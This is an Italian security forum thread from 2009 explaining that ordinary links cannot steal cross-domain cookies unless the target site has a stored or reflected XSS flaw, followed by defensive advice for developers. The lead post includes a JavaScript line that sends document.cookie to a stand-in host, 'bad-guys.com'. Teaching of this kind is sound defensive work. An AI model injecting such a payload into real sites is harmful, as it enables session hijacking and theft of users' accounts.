Torna indietro   Hardware Upgrade Forum > Networking e sicurezza > Antivirus e Sicurezza > Tutorial / How-To / F.A.Q.

Fujinon XF 27mm F2.8 R WR, il pancake Fuji acquista ghiera e tropicalizzazione
Fujinon XF 27mm F2.8 R WR, il pancake Fuji acquista ghiera e tropicalizzazione
Fujifilm aggiorna il suo pancake 27mm, aggiungendo ghiera dei diaframmi e tropicalizzazione. La focale standard ne fa un'ottima scelta per chi ama il reportage e la prospettiva naturale.
AMD FidelityFX Super Resolution (FSR): cos'è, come funziona e prova sul campo
AMD FidelityFX Super Resolution (FSR): cos'è, come funziona e prova sul campo
AMD ha introdotto una nuova tecnologia chiamata FidelityFX Super Resolution (FSR). Da molti vista come la risposta al DLSS (Deep Learning Super Sampling) di Nvidia, ha un obiettivo simile ma lo raggiunge in modo diverso: nessuna rete neurale, ma algoritmi che permettono di fare un upscaling ottenendo quindi maggiori prestazioni senza degradare troppo il dettaglio rispetto a quello nativo. La tecnologia, a differenza del DLSS, è agnostica: funziona quindi sia sulle GPU AMD che su quelle Nvidia.
Lenovo ThinkPad X12 Detachable: il 2-in-1 di grande qualità
Lenovo ThinkPad X12 Detachable: il 2-in-1 di grande qualità
Il nuovo 2-in-1 di Lenovo è un modello che abbina la capacità di trasformarsi da notebook a tablet e viceversa con estrema facilità, alla qualità tipica dei prodotti Lenovo della famiglia ThinkPad grazie allo chassis in lega di magnesio. Lo schermo con rapporto di 3:2 rende ThinkPad X12 Detachable particolarmente indicato per la produttività personale, forte di hardware potente e di una tastiera staccabile che brilla per precisione.
Tutti gli articoli Tutte le news

Vai al Forum
Rispondi
 
Strumenti
Old 22-05-2009, 14:23   #1
Sisupoika
Registered User
 
Iscritto dal: Nov 2006
Città: Espoo, Finland
Messaggi: 1631
Furto di cookies attraverso links: sfatiamo un mito

Con riferimento al post dal titolo "Un sito cookie-grabber?".

Spesso noto questa confusione a proposito di link "sospetti", e forse e' il caso di sfatare un mito correlato al "furto di cookies".
Anche perche' di informazioni chiare in Italiano sul soggetto non abbondano, e di cazzate in giro ne leggo una marea

Attraverso un semplice link, non e' normalmente possibile, per un sito malevolo (o come cavolo si dice in Italiano ), "rubare" cookies appartenenti ad un altro sito.

Tanto per cominciare, un cookie e' soltanto accessibile da pagine nello stesso dominio o tra pagine provenienti da sottodomini dello stesso dominio (per es. tld1.domain.com e tld2.domain.com) se i cookie sono cosi' configurati da chi li progetta. Poi c'e' tutto un discorso a proposito di P3P (platform for privacy preferences) che meriterebbe una discussione a parte a causa di restrizioni, problemi, e casini che a volte comporta a causa della differente implementazione nei vari browsers. Rimaniamo dunque al discorso dei domini per semplificare.

A causa di questa naturale restrizione a proposito dei domini, un semplice link dunque non puo' direttamente rubare un cookie per l'autenticazione su altro sito in alcun modo, anche perche' non esiste sintassi o metodo - che io conosca o ricordi in questo momento - per far cio' attraverso un semplice link anche qualora non vi fosse, supponendo, la restrizione del dominio.

E' possibilissimo invece, e a volte semplice, rubare un cookie usando un link, qualora il sito "vittima" soffra di un tipo di vulnerabilita' di solito definita "reflected cross site scripting". Forse faccio prima con un esempio
Prima pero', un brevissimo riferimento ad una sua cugina, la "stored cross site scripting" vulnerability, che aiutera' imho a capire piu' facilmente.

Supponiamo che il sito sitofigo.com abbia una pagina attraverso la quale un utente loggato possa inviare un post in un forum o qualcosa del genere. Supponiamo, allo stesso tempo, che la pagina che (sul server) si occupa del salvataggio di quel post su database, non effettui un controllo (html sanitization) su cio' che quel post contiene, e che dunque visualizzi quanto viene inviato, piu' o meno cosi' com'e, a tutti gli utenti loggati a quel sito che visitino quella stessa pagina.
E' possibile, in questo contesto, immettere nella pagina del JavaScript che dinamicamente inietti nella pagina un semplice IMG tag (di solito) nel modo seguente, o simili:

Codice:
var fake_img = new Image();
fake_img.src = "//bad-guys.com/gimme-your-cookies/?" + encodeURIcomponent(document.cookie);
Cosa accade cosi' facendo? Semplice: quella immagine non verra' notata dall'utente, ma causera' di nascosto una HTTP request verso il sito di chi attacca, inviando il cookie con il quale si e' in quel momento loggati sul sito vittima (encodeURIcomponent serve semplicemente per formattare una stringa per l'uso in uno URL correttamente formato).
Cio' e' possibile poiche' quel codice JavaScript viene eseguito nel contesto / dominio del sito vittima, e pertanto puo' accedere alla proprieta' "cookie" dell'oggetto document.

Tornando al discorso dei links: e' spesso possibile "rubare" cookies in una tecnica simile chiamata, come dicevo, "reflected cross site scripting".
E' molto simile, ma differisce nel fatto che nel primo caso (stored XSS) bisogna inviare un form e persistere dei dati in un database, in modo che altri utenti vengano compromessi nel modo sopra descritto.

Il "reflected cross site scripting", per funzionare, ha ancora bisogno della stessa vulnerabilita' su un sito vittima (la mancanza di una corretta procedura di html sanitization or whitelisting), ma senza il bisogno di persistere nulla su un database.
Supponiamo che sitofigo.com abbia, per esempio, una procedura di registrazione che al termine presenti una pagina con uno URL del tipo:

Codice:
http://sitofigo.com/pagina-vulnerabile/?show_message=Thanks+for+registering+bla+bla+bla
e che il messaggio "Thanks for registering bla bla bla" venga visualizzato nella pagina, cosi' com'e'.

Come vedete, un parametro viene usato per passare questo messaggio a seconda del risultato di una operazione (nell'esempio parlo di registrazione ma qualunque pagina con un comportamento simile va bene).
Se il sito in questione, come nel caso di "stored XSS" non filtra adeguatamente il valore di quel parametro (sorvolando per un attimo sul fatto che tale pratica e' completamente sbagliata a prescindere), un attaccante potrebbe passare all'applicazione, attraverso quel parametro, un codice JavaScript simile a quello mostrato in precedenza, opportunamente formattato.
Il risultato sarebbe lo stesso del precedente caso (furto di cookie) con le seguenti differenze:

1) stored XSS:

pros:
- e' molto piu' frequente. Purtroppo la maggioranza dei web developers si concentra su sciocchezzuole come SQL injection (spesso neanche in maniera completa, ignorando la miriade di possibilita' - soprattutto l'encoding - e limitandosi a filtrare il singolo ' con doppio '' ) e ignora l'html sanitization o se ne preoccupa in maniera non adeguata. Ci sono troppi modi per offuscare, formattare dell'html per bypassare questi controlli, e che io sappia l'unica maniera sicura per accettare input dell'utente e' il whitelisting (consentire soltanto cio' che si vuole)


cons:
- c'e' bisogno di persistere su database o filesystem il codice "maligno"
- quanto di cui al precedente punto ha il secondo svantaggio che cio' rende molto piu' semplice e probabile scoprire l'attacco
- l'attaccante nuo puo' cambiare URLs o fare modifiche all'attacco velocemente, senza farlo mentre e' loggato lui stesso all'applicazione


2) reflected XSS:

pros:
- non e' necessario persistere alcunche' nel database o filesystem del sito vittima
- l'attacco e' completamente esterno al sito vittima: l'attaccante puo' semplicente mettere links costruiti nell'apposito modo descritto sopra su forums, blogs, dove gli pare. Gli utenti che cliccano su quei links e sono loggati al sito vittima attraverso cookies, possono essere facilmente compromessi.
- per i motivi di cui sopra, non e' facile scoprire l'attacco rapidamente
- l'attaccante puo' offuscare il JavaScript passato come parametro in modo che non possa essere facilmente riconosciuto da un utente piu' attento
- l'attaccante puo' rendere il tutto ulteriormente piu' difficile da scopire, utilizzando servizi di URL shortening (come bit.ly, tinyurl.com, eccetera - pensate a quanto li si usa su Twitter, Digg, eccetera!) che nascondino a prima vista gli URL verso i quali fanno redirection.
- qualora l'attacco venisse scoperto e l'attaccante sia stato cosi' stupido da mettere links su siti a lui riconducibili (es. un suo blog, un forum post a suo nome, ecc), egli puo' rapidamente eliminare le tracce ( = i links ) senza dover essere loggato al sito vittima e senza dover intervenire sul sito vittima.


cons:
- e' molto meno frequente, perche' (fortunatamente la maggioranza dei siti non passa parametri stringa in quel modo)


Si sara' capito, dunque, che in particolari circostanza e' possibile rubare cookies attraverso links, ma contrariamente a quanti molti pensano, e' necessario che il sito vittima soffra della vulnerabilita' descritta sopra.
Ripeto: non e' possibile rubare cookies attraverso un semplice link.

Nota: qualunque sito vi capiti di trovare, che usa parametri nello URL per messaggi ecc. che vengono visualizzati nelle pagine cosi' come sono, sono quasi certamente vulnerabili a reflected cross site scripting.

E, credetemi, nonostante non sia proprio frequentissimo, vi soprendereste nell'apprendere quanti siti comunque ne sono affetti
Lavoro per un gruppo internazionale che si occupa di advertising e lead generation online, e quindi su applicazioni dal traffico/impressions enorme in vari paesi, e mi capita di collaborare con una marea di aziende partner (fra i nostri parners per l'advertising c'e' Yahoo, per fare un esempio).
Sia nei siti di partners che su quelli di publishers, trovo vulnerabilita' di questo tipo con frequenza forse settimanale.

Spero che questo post (che mi ha fatto posticipare la pausa pranzo ) vi torni utile per capire un po' meglio come queste cose funzionano, almeno per coloro i quali hanno meno famigliarita' con la materia.
Adesso vado a magna', senno' svengo

Ultima modifica di Sisupoika : 22-05-2009 alle 14:42.
Sisupoika è offline   Rispondi citando il messaggio o parte di esso
Old 22-05-2009, 14:35   #2
Sisupoika
Registered User
 
Iscritto dal: Nov 2006
Città: Espoo, Finland
Messaggi: 1631
Dimenticavo: voglio aggiungere una nota agli sviluppatori in ascolto, affinche' il web diventi un posto migliore

1) lasciate perdere html sanitization a meno che sappiate cio' che fate. Datevi al whitelisting invece, perdete meno tempo

2) mai usare i parametri dello URL per passare stringhe che verranno visualizzate nella pagina (messaggi di benvenuto, messaggi di errore, ecc).

3) segnate sempre i cookies per il solo utilizzo attraverso HTTP. Cosi' facendo, evitate problemi con tecniche basate su XML HTTP (AJAX) di cui parlero' magari in un'altra occasione.

4) utilizzate sempre un valore nonce ad ogni richiesta che abbia a che fare con dati privati, e fate si' che questo valore sia soltanto valido per una singola richiesta, o almeno solo per la sessione corrente.

5) mai salvare nei cookies informazioni in chiaro che possano essere utilizzate per aggirare l'autenticazione o compromettere l'account di un altro utente. Vi passo dell'ottimo materiale di studio che e' da tempo alla base delle mie implementazioni.
A secure cookie protocol


C'e' naturalmente molto altro, ma con queste 5 regole d'oro metterete le vostre applicazioni (e i vostri utenti ) al sicuro dalla vasta maggioranza di attacchi.

@Mod, non sarebbe una bella idea metterlo nell'elenco dei thread utili, come reference? Del resto mi ha portato via un'ora

Ultima modifica di Sisupoika : 22-05-2009 alle 15:17.
Sisupoika è offline   Rispondi citando il messaggio o parte di esso
Old 22-05-2009, 16:19   #3
xcdegasp
Moderatore
 
L'Avatar di xcdegasp
 
Iscritto dal: Nov 2001
Città: Fidenza(pr) da Trento
Messaggi: 27449
interessante
xcdegasp è offline   Rispondi citando il messaggio o parte di esso
Old 22-05-2009, 16:21   #4
Ignorante Informatico
Senior Member
 
L'Avatar di Ignorante Informatico
 
Iscritto dal: Apr 2008
Messaggi: 1279
In effetti, meriterebbe un posto d'onore

Si fa a votazione? Se sì, do il mio voto a favore
Ignorante Informatico è offline   Rispondi citando il messaggio o parte di esso
Old 22-05-2009, 16:21   #5
Sisupoika
Registered User
 
Iscritto dal: Nov 2006
Città: Espoo, Finland
Messaggi: 1631
Quote:
Originariamente inviato da xcdegasp Guarda i messaggi
interessante

Oggi sono in vena
http://www.hwupgrade.it/forum/showthread.php?t=1987222
Sisupoika è offline   Rispondi citando il messaggio o parte di esso
Old 22-05-2009, 16:25   #6
Ignorante Informatico
Senior Member
 
L'Avatar di Ignorante Informatico
 
Iscritto dal: Apr 2008
Messaggi: 1279
Quote:
Originariamente inviato da Sisupoika Guarda i messaggi
Oggi sono in vena
E qui, oltre al voto, scatta la standing ovation
Ignorante Informatico è offline   Rispondi citando il messaggio o parte di esso
Old 22-05-2009, 16:25   #7
xcdegasp
Moderatore
 
L'Avatar di xcdegasp
 
Iscritto dal: Nov 2001
Città: Fidenza(pr) da Trento
Messaggi: 27449
ho appena letto c'è da sperare che il periodo di fiacca perduri qualche altro giorno così puoi proseguire a farci i corsi d'aggiornamento
xcdegasp è offline   Rispondi citando il messaggio o parte di esso
Old 22-05-2009, 16:58   #8
Sisupoika
Registered User
 
Iscritto dal: Nov 2006
Città: Espoo, Finland
Messaggi: 1631
Quote:
Originariamente inviato da xcdegasp Guarda i messaggi
ho appena letto c'è da sperare che il periodo di fiacca perduri qualche altro giorno così puoi proseguire a farci i corsi d'aggiornamento
No se ogni volta che ripasso di qui Freeman puntualmente mi chiude un topic in piazzetta
Sisupoika è offline   Rispondi citando il messaggio o parte di esso
Old 22-05-2009, 16:59   #9
Ignorante Informatico
Senior Member
 
L'Avatar di Ignorante Informatico
 
Iscritto dal: Apr 2008
Messaggi: 1279
Quote:
Originariamente inviato da Sisupoika Guarda i messaggi
..Freeman puntualmente mi chiude un topic in piazzetta
Contenzioso aperto?
Ignorante Informatico è offline   Rispondi citando il messaggio o parte di esso
Old 22-05-2009, 17:03   #10
Sisupoika
Registered User
 
Iscritto dal: Nov 2006
Città: Espoo, Finland
Messaggi: 1631
Quote:
Originariamente inviato da Ignorante Informatico Guarda i messaggi
Contenzioso aperto?
Ce l'ha con me


Sisupoika è offline   Rispondi citando il messaggio o parte di esso
Old 22-05-2009, 17:10   #11
Ignorante Informatico
Senior Member
 
L'Avatar di Ignorante Informatico
 
Iscritto dal: Apr 2008
Messaggi: 1279
Quote:
Originariamente inviato da Sisupoika Guarda i messaggi
Ce l'ha con me
Anche tu, però, con quella pubblicazione dell'e-mail

Ah, a proposito di cookie, Gmail fu affetto da un problema simile nel... mi pare... 2006?
Ignorante Informatico è offline   Rispondi citando il messaggio o parte di esso
Old 22-05-2009, 17:15   #12
Sisupoika
Registered User
 
Iscritto dal: Nov 2006
Città: Espoo, Finland
Messaggi: 1631
Quote:
Originariamente inviato da Ignorante Informatico Guarda i messaggi
Anche tu, però, con quella pubblicazione dell'e-mail

Ah, a proposito di cookie, Gmail fu affetto da un problema simile nel... mi pare... 2006?
2006/7, non ricordo di preciso... wait

September 27, 2007
Gmail cookie vulnerability exposes user's privacy

Non ho letto ma dovrebbe essere questa.

(poi c'era anche December 31st, 2006 Serious Gmail vulnerability fixed)
Sisupoika è offline   Rispondi citando il messaggio o parte di esso
Old 22-05-2009, 17:15   #13
xcdegasp
Moderatore
 
L'Avatar di xcdegasp
 
Iscritto dal: Nov 2001
Città: Fidenza(pr) da Trento
Messaggi: 27449
Quote:
Originariamente inviato da Sisupoika Guarda i messaggi
No se ogni volta che ripasso di qui Freeman puntualmente mi chiude un topic in piazzetta
è la nostra parcella e proprio oggi dovevamo chiudere le fatturazioni del mese in corso
(scherzo ovviamente )
xcdegasp è offline   Rispondi citando il messaggio o parte di esso
Old 22-05-2009, 17:18   #14
riazzituoi
Bannato
 
Iscritto dal: Aug 2007
Messaggi: 3847
.

Ultima modifica di riazzituoi : 30-04-2010 alle 13:21.
riazzituoi è offline   Rispondi citando il messaggio o parte di esso
Old 22-05-2009, 17:23   #15
Ignorante Informatico
Senior Member
 
L'Avatar di Ignorante Informatico
 
Iscritto dal: Apr 2008
Messaggi: 1279
Ecco perché anche MatouSEC ha deciso di adottare IE8 per la sua Proactive Security Challenge
Ignorante Informatico è offline   Rispondi citando il messaggio o parte di esso
Old 22-05-2009, 17:32   #16
Sisupoika
Registered User
 
Iscritto dal: Nov 2006
Città: Espoo, Finland
Messaggi: 1631
Quote:
Originariamente inviato da riazzituoi Guarda i messaggi
Bravo Sisu

La colpa comunqe è in parte anche dei browser, ancora oggi ci sono quelli che permettono ad una richiesta XMLHTTP di leggere gli httponly (vedi Safari),
Qui entreremmo in un altro discorso che meriterebbe approfondimento a parte.
Come detto magari scrivero' un altro post in proposito, magari un altro venerdi' come al solito

E' un problema che a turno ha afflitto tutti i grade A browsers a parte, se non erro, Opera e che dipende comunque da come si usano i cookies segnati come HTTP only.
Utilizzando in modo opportuno nonces per ogni richiesta e utilizzando un secure cookie protocol come quello mostrato nel documento che ho linkato prima e su cui mi baso personalmente per le mie implementazioni, si ha una combinazione che annulla molte vulnerabilita', compresa questa, o rende inutile i cookies stessi se usati in un modo diverso da quanto progettato.

Appena ho un po' piu' di tempo estrapolo una parte di codice da un mio componente che illustra questa roba.


Quote:
e quelli che effettuano una "strana" gestione delle same origin policy (vedi Internet Explorer). Tra l'altro quest'ultimo ha davvero uno strano comportamento, infatti non riesco a capire perchè le SOP non vengono rispettate per i file aperti localmente (quindi non vi è alcuna restrizione per gli script di un html aperto localmente)
Sempre su Internet Explorer, e la sua pseudo funzione anti XSS è illuminante questa lettura:
http://hackademix.net/2009/05/19/pay...-ie-exclusive/

OT
ma poi i IE è ancora così facile sovrascrivere la proprietà document.domain?
Pensavo avessero patchato il problema (noto già da anni)
Se e' per questo c'e' un problemuccio simile in Wordpress 2.7.1 fresco fresco, non ancora noto
Me ne sono accorto perche' sto facendo una customizzazione pesante del dietro le quinte di Wordpress, e ho trovato un buchetto interessante quando si usano due plugins molto popolari
Non so se se ne puo' parlare perche' credo non sia noto e qualcuno potrebbe aprofittarne.
Sisupoika è offline   Rispondi citando il messaggio o parte di esso
Old 22-05-2009, 17:42   #17
Sisupoika
Registered User
 
Iscritto dal: Nov 2006
Città: Espoo, Finland
Messaggi: 1631
Quote:
Originariamente inviato da Ignorante Informatico Guarda i messaggi
Ecco perché anche MatouSEC ha deciso di adottare IE8 per la sua Proactive Security Challenge
Chi? Cosa?
Sisupoika è offline   Rispondi citando il messaggio o parte di esso
Old 22-05-2009, 17:48   #18
Ignorante Informatico
Senior Member
 
L'Avatar di Ignorante Informatico
 
Iscritto dal: Apr 2008
Messaggi: 1279
Quote:
Originariamente inviato da Sisupoika Guarda i messaggi
Chi? Cosa?
Questo
Ignorante Informatico è offline   Rispondi citando il messaggio o parte di esso
Old 22-05-2009, 17:49   #19
Sisupoika
Registered User
 
Iscritto dal: Nov 2006
Città: Espoo, Finland
Messaggi: 1631
@riazzituoi,

sembra sia stato corretto nel Novembre scorso.

Interessante il probabile motivo per cui c'hanno impiegato cosi' tanto.
Sisupoika è offline   Rispondi citando il messaggio o parte di esso
Old 22-05-2009, 17:51   #20
Sisupoika
Registered User
 
Iscritto dal: Nov 2006
Città: Espoo, Finland
Messaggi: 1631
Quote:
Originariamente inviato da Ignorante Informatico Guarda i messaggi
Scherzi a parte, IE e' il browser piu' usato del pianeta (sigh).
Nessuna sorpresa nella loro scelta per questo test anche se cmq non ho letto e forse non ho capito una mazza a cosa ti riferivi
Sisupoika è offline   Rispondi citando il messaggio o parte di esso
 Rispondi


Fujinon XF 27mm F2.8 R WR, il pancake Fuji acquista ghiera e tropicalizzazione Fujinon XF 27mm F2.8 R WR, il pancake Fuji acqui...
AMD FidelityFX Super Resolution (FSR): cos'è, come funziona e prova sul campo AMD FidelityFX Super Resolution (FSR): cos'&egra...
Lenovo ThinkPad X12 Detachable: il 2-in-1 di grande qualità Lenovo ThinkPad X12 Detachable: il 2-in-1 di gra...
Revolut per il trading di criptovalute: una piattaforma sicura e affidabile Revolut per il trading di criptovalute: una piat...
Chi è Jen-Hsun 'Jensen' Huang, una vita a fare Nvidia Chi è Jen-Hsun 'Jensen' Huang, una vita a...
Battlefield 2042: i bot riempiranno i po...
HUAWEI Summer Black Friday: 7 giorni di ...
Windows 11, questo pomeriggio la present...
FireCuda 530, il nuovo SSD M.2 PCI Expre...
Ecco iPhone 13: modellini di prova mostr...
Nuova fabbrica da GlobalFoundries, per c...
La domanda per tablet e soprattutto Chro...
Una Tesla Model S Plaid correrà a...
Amazon Prime Day è finito? Non de...
DeskMini Max, un concept PC da ASRock pe...
John McAfee suicida in carcere in Spagna...
Electronic Arts ha acquisito i creatori ...
Askoll e.sco, monopattino elettrico a tr...
Windows 10 21H1 accelera, Microsoft iniz...
Anche il launch vehicle stage adapter (L...
Firefox 89
Sandboxie
SiSoftware Sandra Lite
IsoBuster
GeForce Experience
NTLite
Dropbox
Driver NVIDIA GeForce 471.11 WHQL
Radeon Software Adrenalin 21.5.2 WHQL
Radeon Software Adrenalin 21.6.1 Optio
K-Lite Codec Pack Update
K-Lite Mega Codec Pack
K-Lite Codec Pack Standard
K-Lite Codec Pack Basic
Chromium
Tutti gli articoli Tutte le news Tutti i download

Strumenti

Regole
Non Puoi aprire nuove discussioni
Non Puoi rispondere ai messaggi
Non Puoi allegare file
Non Puoi modificare i tuoi messaggi

Il codice vB è On
Le Faccine sono On
Il codice [IMG] è On
Il codice HTML è Off
Vai al Forum


Tutti gli orari sono GMT +1. Ora sono le: 11:18.


Powered by vBulletin® Version 3.6.4
Copyright ©2000 - 2021, Jelsoft Enterprises Ltd.
Served by www2v